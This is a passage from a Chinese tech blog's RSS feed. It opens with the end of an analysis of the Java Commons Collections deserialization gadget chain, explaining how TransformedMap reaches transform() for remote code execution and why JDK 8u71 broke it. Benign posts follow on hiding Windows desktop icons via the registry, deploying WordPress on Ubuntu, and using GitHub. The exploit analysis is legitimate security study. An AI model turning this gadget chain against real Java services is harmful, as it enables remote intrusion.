&lt;h3 id=&#34;走到transform&#34;&gt;走到transform()
&lt;/h3&gt;&lt;p&gt;TransformedMap类继承了 &lt;code&gt;AbstractInputCheckedMapDecorator&lt;/code&gt;，存在 &lt;code&gt;setValue()&lt;/code&gt; 方法&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return super.entry.setValue(value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后通过TransformedMap的checkSetValue()到了我们想要的transform()方法&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;transform到rce&#34;&gt;transform()到RCE
&lt;/h3&gt;&lt;p&gt;利用链成立，分析正确。&lt;/p&gt;
&lt;h2 id=&#34;jdk18为什么不行&#34;&gt;jdk1.8为什么不行
&lt;/h2&gt;&lt;p&gt;其实上面的poc在Java 7的低版本(只测试了7u80，没有具体版本号)、8u71之前都是可以使用的，在Java 8u71之后代码发生了变动。&lt;/p&gt;
&lt;p&gt;那么为什么不行呢，看一下jdk8里面的&lt;code&gt;sun.reflect.annotation.AnnotationInvocationHandler&lt;/code&gt; readObject复写点&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get(&amp;quot;type&amp;quot;, (Object)null);
        Map var4 = (Map)var2.get(&amp;quot;memberValues&amp;quot;, (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException(&amp;quot;Non-annotation type in annotation serial stream&amp;quot;);
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) &amp;amp;&amp;amp; !(var11 instanceof ExceptionProxy)) {
                    //没有了map赋值语句，伤心
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + &amp;quot;[&amp;quot; + var11 + &amp;quot;]&amp;quot;)).setMember((Method)var5.members().get(var10));
                }
            }
        }
        ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为这个函数出现了变动，不再有针对我们构造的map的赋值语句，所以触发不了漏洞。&lt;/p&gt;
&lt;p&gt;而是改成了新建一个LinkedHashMap，把值转到这个LinkedHashMap里。&lt;/p&gt;
</description>
        </item>
        <item>
        <title>如何取消显示Windows聚焦在桌面上生成的“了解此图片”图标</title>
        <link>https://www.fufu.me/removewin_focus/</link>
        <pubDate>Thu, 06 Mar 2025 15:54:40 +0800</pubDate>
        
        <guid>https://www.fufu.me/removewin_focus/</guid>
        <description>&lt;img src="https://www.fufu.me/img/20250306160034601.jpeg" alt="Featured image of post 如何取消显示Windows聚焦在桌面上生成的“了解此图片”图标" /&gt;&lt;h2 id=&#34;前言&#34;&gt;前言
&lt;/h2&gt;&lt;p&gt;将个性化背景更换为“Windows聚焦”模式的时候，会在桌面多出一个“了解此图片”的图标&lt;/p&gt;
&lt;p&gt;看着很烦，但又因为Windows聚焦自带的壁纸比其他主题的壁纸好看很多，所以删除这个图标是最好的办法&lt;/p&gt;
&lt;h2 id=&#34;如何删除&#34;&gt;如何删除？
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;win+R&lt;/code&gt;输入&lt;code&gt;regedit&lt;/code&gt;，然后找到如下路径&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;右键-&amp;gt;新建-&amp;gt;DWORD(32位)值&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/removewin_focus/images/20250306161621873.png&#34;
	width=&#34;1523&#34;
	height=&#34;977&#34;
	srcset=&#34;https://www.fufu.me/removewin_focus/images/20250306161621873_hu2033899924528771170.png 480w, https://www.fufu.me/removewin_focus/images/20250306161621873_hu10748796693376711813.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;20250306161621873&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;155&#34;
		data-flex-basis=&#34;374px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;将其重命名为 &lt;code&gt;{2cc5ca98-6485-489a-920e-b3e88a6ccce3}&lt;/code&gt;，然后双击打开更改数值数据为1，回到桌面刷新一下即可删除该图标。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/removewin_focus/images/20250306161747714.png&#34;
	width=&#34;495&#34;
	height=&#34;297&#34;
	srcset=&#34;https://www.fufu.me/removewin_focus/images/20250306161747714_hu13155699681995246801.png 480w, https://www.fufu.me/removewin_focus/images/20250306161747714_hu2823932519177817983.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image-20250306161747687&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;166&#34;
		data-flex-basis=&#34;400px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;配置好的注册表项应该是这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/removewin_focus/images/20250306161334490.png&#34;
	width=&#34;1250&#34;
	height=&#34;926&#34;
	srcset=&#34;https://www.fufu.me/removewin_focus/images/20250306161334490_hu17266147317236345270.png 480w, https://www.fufu.me/removewin_focus/images/20250306161334490_hu3214405947692695145.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image-20250306161334429&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;134&#34;
		data-flex-basis=&#34;323px&#34;
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>设备驱动器中的百度网盘标志怎么删除?</title>
        <link>https://www.fufu.me/removebd_logo/</link>
        <pubDate>Wed, 05 Mar 2025 20:05:51 +0800</pubDate>
        
        <guid>https://www.fufu.me/removebd_logo/</guid>
        <description>&lt;img src="https://www.fufu.me/img/20250306105924199.png" alt="Featured image of post 设备驱动器中的百度网盘标志怎么删除?" /&gt;&lt;h2 id=&#34;前言&#34;&gt;前言
&lt;/h2&gt;&lt;p&gt;这是我第N次删除&lt;strong&gt;设备和驱动器&lt;/strong&gt;中百度网盘标志了。
每次百度网盘更新，曾经删除的百度网盘图标就又复活了。&lt;/p&gt;
&lt;p&gt;大致思路是打开注册表，找到相应的值，删除。
但是删除后相隔的周期长了再删除时，忘记路径是什么了。
这次就专门记录一下。&lt;/p&gt;
&lt;h2 id=&#34;如何删除&#34;&gt;如何删除？
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;win+R&lt;/code&gt;输入&lt;code&gt;regedit&lt;/code&gt;，然后找到如下路径&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/removebd_logo/images/bdiskregedit.png&#34;
	width=&#34;1153&#34;
	height=&#34;792&#34;
	srcset=&#34;https://www.fufu.me/removebd_logo/images/bdiskregedit_hu6900660511175872231.png 480w, https://www.fufu.me/removebd_logo/images/bdiskregedit_hu15692806344761439205.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;bdiskregedit&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;145&#34;
		data-flex-basis=&#34;349px&#34;
	
&gt;&lt;/p&gt;

          &lt;link rel=&#34;stylesheet&#34; href=&#34;https://www.fufu.me/css/vendors/admonitions.36e8c5929a3d594ec79663bfb5a00cc53d4137685c16e6a0d50b5f63e97a0150.css&#34; integrity=&#34;sha256-NujFkpo9WU7HlmO/taAMxT1BN2hcFuag1QtfY&amp;#43;l6AVA=&#34; crossorigin=&#34;anonymous&#34;&gt;
  &lt;div class=&#34;admonition tip&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 384 512&#34;&gt;&lt;path d=&#34;M272 384c9.6-31.9 29.5-59.1 49.2-86.2c0 0 0 0 0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4c0 0 0 0 0 0c19.8 27.1 39.7 54.4 49.2 86.2l160 0zM192 512c44.2 0 80-35.8 80-80l0-16-160 0 0 16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Tip&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;删除整个 &lt;code&gt;{CF3CDEFB-31BE-43AE-B064-B9C62C883259}&lt;/code&gt; 目录即可去除 &lt;strong&gt;PPS图标&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;删除整个 &lt;code&gt;{679F137C-3162-45da-BE3C-2F9C3D093F64}&lt;/code&gt; 目录即可去除 &lt;strong&gt;百度云盘图标&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;删除整个 &lt;code&gt;{01249E9F-88FF-45d5-82DB-A1BEE06E123C}&lt;/code&gt; 目录即可去除 &lt;strong&gt;360云盘&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;删除整个 &lt;code&gt;{BA16CE0E-728C-4FC9-11E5-D0B35B384552}&lt;/code&gt; 目录即可去除 &lt;strong&gt;爱奇艺视频&lt;/strong&gt;&lt;/p&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;h2 id=&#34;简单方法&#34;&gt;简单方法
&lt;/h2&gt;&lt;p&gt;当然，这个方法比较麻烦，现在百度还算有点良心，自己加了去除的选项&lt;/p&gt;
&lt;h3 id=&#34;打开百度网盘右上角进入设置界面&#34;&gt;打开百度网盘，右上角进入设置界面。
&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/removebd_logo/images/2025-03-06_105344.png&#34;
	width=&#34;557&#34;
	height=&#34;298&#34;
	srcset=&#34;https://www.fufu.me/removebd_logo/images/2025-03-06_105344_hu8285617582010151353.png 480w, https://www.fufu.me/removebd_logo/images/2025-03-06_105344_hu15603871003519056290.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;025-03-06_105344&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;186&#34;
		data-flex-basis=&#34;448px&#34;
	
&gt;&lt;/p&gt;
&lt;h3 id=&#34;取消勾选在我的电脑中显示网盘即可&#34;&gt;取消勾选“在我的电脑中显示网盘”即可
&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/removebd_logo/images/bdiskclientdel.png&#34;
	width=&#34;906&#34;
	height=&#34;598&#34;
	srcset=&#34;https://www.fufu.me/removebd_logo/images/bdiskclientdel_hu7430444004412444544.png 480w, https://www.fufu.me/removebd_logo/images/bdiskclientdel_hu14353906420084248851.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;bdiskclientdel&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;151&#34;
		data-flex-basis=&#34;363px&#34;
	
&gt;&lt;/p&gt;
&lt;h3 id=&#34;搞定这样看着舒服多了&#34;&gt;搞定，这样看着舒服多了
&lt;/h3&gt;&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/removebd_logo/images/2025-03-06_103200.png&#34;
	width=&#34;1202&#34;
	height=&#34;526&#34;
	srcset=&#34;https://www.fufu.me/removebd_logo/images/2025-03-06_103200_hu1994367844456106592.png 480w, https://www.fufu.me/removebd_logo/images/2025-03-06_103200_hu17297487797509830465.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;2025-03-06_103200&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;228&#34;
		data-flex-basis=&#34;548px&#34;
	
&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>如何在Ubuntu上部署WordPress</title>
        <link>https://www.fufu.me/wordpresserver/</link>
        <pubDate>Wed, 22 Jan 2025 11:39:47 +0800</pubDate>
        
        <guid>https://www.fufu.me/wordpresserver/</guid>
        <description>&lt;img src="https://www.fufu.me/img/wordpress-logo.png" alt="Featured image of post 如何在Ubuntu上部署WordPress" /&gt;&lt;blockquote&gt;
&lt;p&gt;本文分享如何在不使用服务器面板的情况下配置好环境,然后用Ubuntu搭建一个WordPress博客。&lt;/p&gt;
&lt;p&gt;文章&amp;lt;&amp;gt;中的内容需要替换为自己的信息,不要直接照抄&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;前言&#34;&gt;前言
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;NGINX&lt;/strong&gt; 是增长最快、最受欢迎的 Web 服务器。NGINX 是一款功能强大的 Web 服务器、反向代理和负载均衡器，以其高性能、稳定性和可扩展性而闻名。它通常用于提供 Web 内容、处理传入流量并将其分发到多个服务器。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PHP&lt;/strong&gt; 是一种广泛使用的开源脚本语言，专为 Web 开发而设计。从创建动态网页开始，PHP现在用于开发桌面应用程序。PHP 以其易用性、灵活性和对不同操作系统和 Web 服务器的广泛支持而闻名。(简单易用)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MySQL&lt;/strong&gt; 是采用最广泛的开源关系数据库，是许多流行网站、应用程序和商业产品的主要关系数据存储。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WordPress&lt;/strong&gt; 用于创建网站、博客，甚至一些 Web 应用程序。它已成为一种流行且功能强大的内容管理系统 （CMS）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;FTP&lt;/strong&gt;（文件传输协议 英语：&lt;strong&gt;F&lt;/strong&gt;ile &lt;strong&gt;T&lt;/strong&gt;ransfer &lt;strong&gt;P&lt;/strong&gt;rotocol，缩写&lt;strong&gt;FTP&lt;/strong&gt;）是在计算机网络的客户端和服务器间传输文件的应用层协议网络传输协议)。在这里用来解决wordpress文件上传的问题,同时将功能模块化&lt;/p&gt;
&lt;h2 id=&#34;环境&#34;&gt;环境
&lt;/h2&gt;&lt;p&gt;Ubuntu22.04LTS&lt;/p&gt;
&lt;p&gt;其他发行版的配置与本文基本只存在安装软件包的区别&lt;/p&gt;
&lt;h2 id=&#34;更新系统包&#34;&gt;更新系统包
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;sudo apt update
sudo apt upgrade
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一般来说，在执行第一行命令时，系统会自己拉取最优的镜像源&lt;/p&gt;
&lt;p&gt;🔗如果更新速度很慢说明拉取不正确，请参考&lt;a class=&#34;link&#34; href=&#34;https://www.fufu.me/2024/08/07/linux_changemirror/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;linux换源
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
手动更换&lt;/p&gt;
&lt;h2 id=&#34;安装nginx&#34;&gt;安装Nginx
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;sudo apt install nginx
sudo systemctl status nginx         #检查nginx状态,若处于active状态,则安装成功
sudo systemctl start nginx          #启动nginx服务器
sudo systemctl enable nginx         #nginx开机自启动
curl http://localhost               #返回页面信息
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;安装mysql&#34;&gt;安装MySql
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;sudo apt install -y mysql-server #-y参数意思是安装时全选yes
sudo systemctl status mysql
#sudo mysql_secure_installation) #此项非必选,可跳过(在mysql_secure_installation过程中，会提示进行一些安全设置，如设置MySQL root密码、删除匿名用户、禁止root远程登录等。根据提示完成配置)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;创建wordpress数据库和用户&#34;&gt;创建WordPress数据库和用户
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#进入mysql命令行 进入后显示 mysql&amp;gt;
sudo mysql -u root -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在MySql命令行中执行以下SQL命令&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 创建一个名为&amp;lt;xxx&amp;gt;的数据库 
CREATE DATABASE &amp;lt;数据库名&amp;gt;;
# 创建一个名为&amp;lt;xxx&amp;gt;的用户,localhost指定该用户只能从本地主机进行连接 
CREATE USER &amp;lt;用户名&amp;gt;@localhost IDENTIFIED BY &amp;lt;密码&amp;gt;;
# 给予&amp;lt;xxx&amp;gt;用户操作指定数据库下所有数据的权限 
GRANT ALL PRIVILEGES ON &amp;lt;数据库名&amp;gt;.* TO &amp;lt;用户名&amp;gt;@localhost;
# 退出sql操作
EXIT;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;在安装php前先对mysql进行测试&#34;&gt;在安装PHP前,先对MySql进行测试
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#提示输入密码,验证通过进入mysql命令行,说明配置成功
mysql -u &amp;lt;用户名&amp;gt; -p &amp;lt;数据库名&amp;gt;
#如果不成功,显示ERROR 1045(28000),一般是密码设置出了问题,可重新键入
mysql -u &amp;lt;用户名&amp;gt; -p &amp;lt;数据库名&amp;gt; 或 SET PASSWORD for &amp;lt;用户名&amp;gt;@localhost
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;安装php&#34;&gt;安装PHP
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;sudo apt install -y php-fpm php-mysql php-curl php-mbstring php-imagick php-xml php-zip
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;wordpress-需要多个-php-模块才能正常运行&#34;&gt;WordPress 需要多个 PHP 模块才能正常运行
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;MySQL 用于连接到MySQL数据库。&lt;/li&gt;
&lt;li&gt;cURL 用于发出远程请求的 cURL。&lt;/li&gt;
&lt;li&gt;Mbstring 处理多字节字符串。&lt;/li&gt;
&lt;li&gt;ImageMagick 执行图像大小调整等操作。&lt;/li&gt;
&lt;li&gt;XML 提供 XML 支持。&lt;/li&gt;
&lt;li&gt;Zip  以解压缩插件、主题和 WordPress 更新包。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;获取php-fpm服务器版本号(重要)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;ls /var/run/php # 获取php&amp;lt;版本号&amp;gt;-fpm.sock的版本号
sudo systemctl status php&amp;lt;版本号&amp;gt;-fpm.service # 检查fpm服务器运行状态
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;下载并配置wordpress&#34;&gt;下载并配置WordPress
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#进入Nginx默认的web目录
cd /var/www/html
#下载wordpress的最新版本
sudo wget https://wordpress.org/latest.tar.gz
#解压下载的压缩包
sudo tar -xzvf latest.tar.gz
#将解压后的文件移动到当前目录
sudo mv wordpress/* .
#删除wordpress文件夹和压缩包
sudo rm -rf wordpress latest.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(这里没有建立多个网站的需求,所以直接将压缩包内容放到了/var/www/html目录下)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#配置WordPress文件权限
sudo chown -R www-data:www-data /var/www/html
sudo chmod -R 755 /var/www/html
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;命令说明&#34;&gt;命令说明
&lt;/h3&gt;&lt;p&gt;这里的chown改变了文件或目录的所有者和所属组;&lt;/p&gt;
&lt;p&gt;-R为递归处理参数,对目录及目录内的所有子目录和文件的所有者进行变更;&lt;/p&gt;
&lt;p&gt;www-data:www-data 意思是将文件权限给予www-data用户并将它们加入到www-data用户组。前者确保只有web服务器进程可以修改这些文件,提高安全性;后者保证web服务器能够正常访问和处理这些文件。&lt;/p&gt;
&lt;p&gt;第二条命令涉及文件的读写和执行权限问题,之后会有单独的博客文章进行解释&lt;/p&gt;
&lt;h2 id=&#34;配置nginx&#34;&gt;配置Nginx
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#创建一个新的Nginx服务器块配置文件
sudo vim /etc/nginx/sites-available/wordpress
#在文件中添加如下内容
server {
    listen 80;
    server_name &amp;lt;替换为自己的域名或ip&amp;gt;;
    root /var/www/html;
    
    index index.php index.html index.htm index.nginx-debian.html;

    location / {
        try_files $uri $uri/ /index.php?$args;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php&amp;lt;版本号&amp;gt;-fpm.sock;
    }

    location ~ /\.ht {
        deny all;
    }
}
#激活配置文件并禁用默认的配置文件
sudo ln -s /etc/nginx/sites-available/wordpress /etc/nginx/sites-enabled/
sudo unlink /etc/nginx/sites-enabled/default
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;解释&#34;&gt;解释
&lt;/h3&gt;&lt;p&gt;Nginx 通常使用以下目录结构来管理站点配置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/etc/nginx/sites-available/：这个目录包含所有可用的站点配置文件。这里的文件不一定被 Nginx 激活。&lt;/li&gt;
&lt;li&gt;/etc/nginx/sites-enabled/：这个目录包含所有已启用的站点配置文件。Nginx 只会加载这个目录中的配置文件。&lt;/li&gt;
&lt;li&gt;通过将 sites-available 目录中的配置文件链接到 sites-enabled 目录，可以方便地启用或禁用站点，而无需复制文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过删除符号链接禁用默认配置文件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;unlink：是一个用于删除文件或符号链接的命令。与 &lt;code&gt;rm&lt;/code&gt; 命令不同，&lt;code&gt;unlink&lt;/code&gt; 只能删除单个文件或符号链接。&lt;/li&gt;
&lt;li&gt;/etc/nginx/sites-enabled/default：需要删除的文件或符号链接的路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#测试Nginx配置是否正确
sudo nginx -t
#返回successful说明配置正确
#重启Nginx
sudo systemctl reload nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;完成wordpress安装&#34;&gt;完成WordPress安装
&lt;/h2&gt;&lt;p&gt;打开浏览器,访问设置的域名或ip地址,进入wordpress配置面板后按提示完成安装&lt;/p&gt;
&lt;p&gt;(这里建议修改wp数据库的默认前缀&lt;code&gt;wp_&lt;/code&gt;)&lt;/p&gt;
&lt;h2 id=&#34;wordpress上传文件出现413错误&#34;&gt;wordpress上传文件出现413错误
&lt;/h2&gt;&lt;p&gt;WordPress上传文件出现413错误是由于上传文件大小超过了服务器的限制,可以通过如下两种方法解决:&lt;/p&gt;
&lt;h3 id=&#34;方法一放宽上传文件大小限制&#34;&gt;方法一：放宽上传文件大小限制
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#修改Nginx配置文件
sudo vim /etc/nginx/nginx.conf
#在http块中添加或修改以下行
http {
    client_max_body_size 100M;
}
#保存并关闭文件后重启Nginx
#修改PHP配置文件
sudo vim /etc/php/&amp;lt;版本号&amp;gt;/fpm/php.ini
#找到并修改以下行
upload_max_filesize = 100M
post_max_size = 100M
#保存并关闭文件后,重启PHP-FPM
sudo systemctl restart php&amp;lt;版本号&amp;gt;-fpm
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;方法二搭建ftp服务器&#34;&gt;方法二：搭建FTP服务器
&lt;/h3&gt;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#安装vsftpd
sudo apt update
sudo apt install vsftpd
#配置vsftpd
#编辑vsftpd配置文件
sudo vim /etc/vsftpd.conf
#去掉以下语句的注释:
local_enable=YES
write_enable=YES

#添加以下语句或去掉它们的注释:
chroot_local_user=YES
allow_writeable_chroot=YES

#在末尾添加如下语句:
pasv_min_port=10000
pasv_max_port=10100
pasv_address=&amp;lt;服务器ip&amp;gt;
#保存并关闭文件,重启vsftpd
sudo systemctl restart vsftpd
sudo systemctl enable vsftpd
#创建FTP用户,会提示设置密码,输入即可
sudo adduser &amp;lt;用户名&amp;gt;
#为该用户设置web目录的访问权限,为了让上传文件夹更好管理,建议创建一个FTP目录
sudo mkdir /var/www/html/&amp;lt;FTP文件夹名&amp;gt;
sudo chown -R &amp;lt;用户名&amp;gt;:&amp;lt;用户名&amp;gt; /var/www/html/&amp;lt;FTP文件夹名&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用FTP客户端(FileZilla或WinSCP),填入刚创建的FTP用户信息进行连接。&lt;/p&gt;
&lt;p&gt;连接之后可以将文件上传至/var/www/html/&amp;lt;FTP文件夹名&amp;gt;目录,然后使用ssh进行文件管理&lt;/p&gt;
</description>
        </item>
        <item>
        <title>最简单的github使用教程</title>
        <link>https://www.fufu.me/githubuse/</link>
        <pubDate>Wed, 22 Jan 2025 09:47:16 +0800</pubDate>
        
        <guid>https://www.fufu.me/githubuse/</guid>
        <description>&lt;img src="https://www.fufu.me/img/Logo-GitHub-Black.png" alt="Featured image of post 最简单的github使用教程" /&gt;
          &lt;link rel=&#34;stylesheet&#34; href=&#34;https://www.fufu.me/css/vendors/admonitions.36e8c5929a3d594ec79663bfb5a00cc53d4137685c16e6a0d50b5f63e97a0150.css&#34; integrity=&#34;sha256-NujFkpo9WU7HlmO/taAMxT1BN2hcFuag1QtfY&amp;#43;l6AVA=&#34; crossorigin=&#34;anonymous&#34;&gt;
  &lt;div class=&#34;admonition tip&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 384 512&#34;&gt;&lt;path d=&#34;M272 384c9.6-31.9 29.5-59.1 49.2-86.2c0 0 0 0 0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4c0 0 0 0 0 0c19.8 27.1 39.7 54.4 49.2 86.2l160 0zM192 512c44.2 0 80-35.8 80-80l0-16-160 0 0 16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Tip&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;p&gt;&amp;lt;&amp;gt;中包的信息都需要替换成自己的，不要直接CV&lt;/p&gt;
&lt;p&gt;下以origin来表示最先创建的本地库别名，main为主分支，dev为第二分支&lt;/p&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;h2 id=&#34;使用前的准备&#34;&gt;使用前的准备
&lt;/h2&gt;&lt;p&gt;你需要一个github账号(自己去注册)&lt;/p&gt;
&lt;p&gt;🔗然后在系统中安装git工具，网址:&lt;a class=&#34;link&#34; href=&#34;https://git-scm.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://git-scm.com/
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/p&gt;
